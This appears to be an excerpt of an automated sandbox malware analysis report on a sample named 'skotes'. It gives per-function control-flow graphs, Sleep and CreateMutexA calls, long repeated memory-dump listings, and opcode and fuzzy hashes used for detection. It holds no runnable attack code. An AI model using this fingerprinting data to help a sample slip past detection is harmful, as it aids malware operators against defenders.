                                                                                                                                                                                                                                                              • Sleep.KERNELBASE(00000064), ref: 00A8A963
                                                                                                                                                                                                                                                              • CreateMutexA.KERNELBASE(00000000,00000000,00AE3254), ref: 00A8A981
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000003.00000002.2216554116.0000000000A81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00A80000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216533682.0000000000A80000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216554116.0000000000AE2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216644171.0000000000AE9000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216672873.0000000000AEB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216699415.0000000000AF7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216851528.0000000000C45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216880066.0000000000C47000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216910902.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216910902.0000000000C63000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216966721.0000000000C6B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216999363.0000000000C6F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217042298.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217070076.0000000000C97000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217097986.0000000000C98000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217125215.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217159702.0000000000CA1000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217181229.0000000000CAD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217217630.0000000000CC2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217247989.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217275963.0000000000CCE000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217310215.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217346819.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217377547.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217413032.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217443901.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217477893.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217515344.0000000000CEA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217618558.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217656034.0000000000CF2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217684215.0000000000CFA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217711519.0000000000CFD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217739309.0000000000D05000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217759529.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217803472.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217829352.0000000000D23000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217829352.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217900302.0000000000D5B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217926279.0000000000D5C000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217956926.0000000000D71000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217982404.0000000000D72000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218007549.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218035471.0000000000D79000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218059060.0000000000D87000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218083151.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_3_2_a80000_skotes.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1464230837-0
                                                                                                                                                                                                                                                              • Opcode ID: aeee7529f84d378fbc233b7860e79f6cda41faae854fbf940121ed3257f8c7e7
                                                                                                                                                                                                                                                              • Instruction ID: 8ce525153573b71ad86c9a4cf03f05fc2ee47fc899d1bf4cee77ee4413bee49f
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: aeee7529f84d378fbc233b7860e79f6cda41faae854fbf940121ed3257f8c7e7
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 193107317152449BFF0CFBB8CD8D76DB772ABA6310F24425AE014973D5C73A99848752
                                                                                                                                                                                                                                                              Function 00A8A1AE Relevance: 3.1, APIs: 2, Instructions: 135sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                                              control_flow_graph 90 a8a1ae-a8a1ce 94 a8a1fc-a8a218 90->94 95 a8a1d0-a8a1dc 90->95 98 a8a21a-a8a226 94->98 99 a8a246-a8a265 94->99 96 a8a1de-a8a1ec 95->96 97 a8a1f2-a8a1f9 call a9d663 95->97 96->97 100 a8a935 96->100 97->94 102 a8a228-a8a236 98->102 103 a8a23c-a8a243 call a9d663 98->103 104 a8a293-a8a916 call a980c0 99->104 105 a8a267-a8a273 99->105 109 a8a953-a8a994 Sleep CreateMutexA 100->109 110 a8a935 call ab6c6a 100->110 102->100 102->103 103->99 106 a8a289-a8a290 call a9d663 105->106 107 a8a275-a8a283 105->107 106->104 107->100 107->106 119 a8a996-a8a998 109->119 120 a8a9a7-a8a9a8 109->120 110->109 119->120 122 a8a99a-a8a9a5 119->122 122->120
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • Sleep.KERNELBASE(00000064), ref: 00A8A963
                                                                                                                                                                                                                                                              • CreateMutexA.KERNELBASE(00000000,00000000,00AE3254), ref: 00A8A981
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000003.00000002.2216554116.0000000000A81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00A80000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216533682.0000000000A80000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216554116.0000000000AE2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216644171.0000000000AE9000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216672873.0000000000AEB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216699415.0000000000AF7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216851528.0000000000C45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216880066.0000000000C47000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216910902.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216910902.0000000000C63000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216966721.0000000000C6B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216999363.0000000000C6F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217042298.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217070076.0000000000C97000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217097986.0000000000C98000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217125215.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217159702.0000000000CA1000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217181229.0000000000CAD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217217630.0000000000CC2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217247989.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217275963.0000000000CCE000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217310215.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217346819.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217377547.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217413032.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217443901.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217477893.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217515344.0000000000CEA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217618558.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217656034.0000000000CF2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217684215.0000000000CFA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217711519.0000000000CFD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217739309.0000000000D05000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217759529.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217803472.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217829352.0000000000D23000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217829352.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217900302.0000000000D5B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217926279.0000000000D5C000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217956926.0000000000D71000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217982404.0000000000D72000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218007549.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218035471.0000000000D79000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218059060.0000000000D87000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218083151.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_3_2_a80000_skotes.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1464230837-0
                                                                                                                                                                                                                                                              • Opcode ID: 0260eef1d462bb59f0c6f67b69938c1194c6f2c4744c72204093d6f9f8c54db0
                                                                                                                                                                                                                                                              • Instruction ID: e18f7b441b43b467bb97a5ed8a09969192cbcfc93ab8af209ddefb965a7735e9
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 0260eef1d462bb59f0c6f67b69938c1194c6f2c4744c72204093d6f9f8c54db0
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: B6311631B052449BFF1CFBB8DD8DBADB772ABA6310F24421AE014973D1D73A99848752
                                                                                                                                                                                                                                                              Function 00A8A418 Relevance: 3.1, APIs: 2, Instructions: 133sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                                              control_flow_graph 124 a8a418-a8a438 128 a8a43a-a8a446 124->128 129 a8a466-a8a482 124->129 130 a8a448-a8a456 128->130 131 a8a45c-a8a463 call a9d663 128->131 132 a8a4b0-a8a4cf 129->132 133 a8a484-a8a490 129->133 130->131 136 a8a93f-a8a994 call ab6c6a * 4 Sleep CreateMutexA 130->136 131->129 134 a8a4fd-a8a916 call a980c0 132->134 135 a8a4d1-a8a4dd 132->135 138 a8a492-a8a4a0 133->138 139 a8a4a6-a8a4ad call a9d663 133->139 140 a8a4df-a8a4ed 135->140 141 a8a4f3-a8a4fa call a9d663 135->141 160 a8a996-a8a998 136->160 161 a8a9a7-a8a9a8 136->161 138->136 138->139 139->132 140->136 140->141 141->134 160->161 162 a8a99a-a8a9a5 160->162 162->161
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • Sleep.KERNELBASE(00000064), ref: 00A8A963
                                                                                                                                                                                                                                                              • CreateMutexA.KERNELBASE(00000000,00000000,00AE3254), ref: 00A8A981
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000003.00000002.2216554116.0000000000A81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00A80000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216533682.0000000000A80000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216554116.0000000000AE2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216644171.0000000000AE9000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216672873.0000000000AEB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216699415.0000000000AF7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216851528.0000000000C45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216880066.0000000000C47000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216910902.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216910902.0000000000C63000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216966721.0000000000C6B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216999363.0000000000C6F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217042298.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217070076.0000000000C97000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217097986.0000000000C98000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217125215.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217159702.0000000000CA1000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217181229.0000000000CAD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217217630.0000000000CC2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217247989.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217275963.0000000000CCE000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217310215.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217346819.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217377547.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217413032.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217443901.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217477893.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217515344.0000000000CEA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217618558.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217656034.0000000000CF2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217684215.0000000000CFA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217711519.0000000000CFD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217739309.0000000000D05000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217759529.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217803472.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217829352.0000000000D23000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217829352.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217900302.0000000000D5B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217926279.0000000000D5C000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217956926.0000000000D71000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217982404.0000000000D72000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218007549.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218035471.0000000000D79000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218059060.0000000000D87000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218083151.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_3_2_a80000_skotes.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1464230837-0
                                                                                                                                                                                                                                                              • Opcode ID: 3941d04f79b32f2192c872e32635a2b63c0ae23e61a609275403195e97d16dae
                                                                                                                                                                                                                                                              • Instruction ID: a5eb236d1c3fa41087c9b17863652bfaf740f7ce725754f71d427f70815075d9
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 3941d04f79b32f2192c872e32635a2b63c0ae23e61a609275403195e97d16dae
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: D4312931B042449BFF0CFBB8D98DBADB672EFA6310F20421AE0549B3D5D77959808752
                                                                                                                                                                                                                                                              Function 00A8A54D Relevance: 3.1, APIs: 2, Instructions: 132sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                                              control_flow_graph 164 a8a54d-a8a56d 168 a8a59b-a8a5b7 164->168 169 a8a56f-a8a57b 164->169 172 a8a5b9-a8a5c5 168->172 173 a8a5e5-a8a604 168->173 170 a8a57d-a8a58b 169->170 171 a8a591-a8a598 call a9d663 169->171 170->171 174 a8a944-a8a994 call ab6c6a * 3 Sleep CreateMutexA 170->174 171->168 176 a8a5db-a8a5e2 call a9d663 172->176 177 a8a5c7-a8a5d5 172->177 178 a8a632-a8a916 call a980c0 173->178 179 a8a606-a8a612 173->179 198 a8a996-a8a998 174->198 199 a8a9a7-a8a9a8 174->199 176->173 177->174 177->176 180 a8a628-a8a62f call a9d663 179->180 181 a8a614-a8a622 179->181 180->178 181->174 181->180 198->199 200 a8a99a-a8a9a5 198->200 200->199
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • Sleep.KERNELBASE(00000064), ref: 00A8A963
                                                                                                                                                                                                                                                              • CreateMutexA.KERNELBASE(00000000,00000000,00AE3254), ref: 00A8A981
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000003.00000002.2216554116.0000000000A81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00A80000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216533682.0000000000A80000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216554116.0000000000AE2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216644171.0000000000AE9000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216672873.0000000000AEB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216699415.0000000000AF7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216851528.0000000000C45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216880066.0000000000C47000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216910902.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216910902.0000000000C63000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216966721.0000000000C6B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216999363.0000000000C6F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217042298.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217070076.0000000000C97000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217097986.0000000000C98000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217125215.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217159702.0000000000CA1000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217181229.0000000000CAD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217217630.0000000000CC2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217247989.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217275963.0000000000CCE000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217310215.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217346819.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217377547.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217413032.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217443901.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217477893.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217515344.0000000000CEA000.00000040.00000001.01000000.00000007.sdmpDownload File
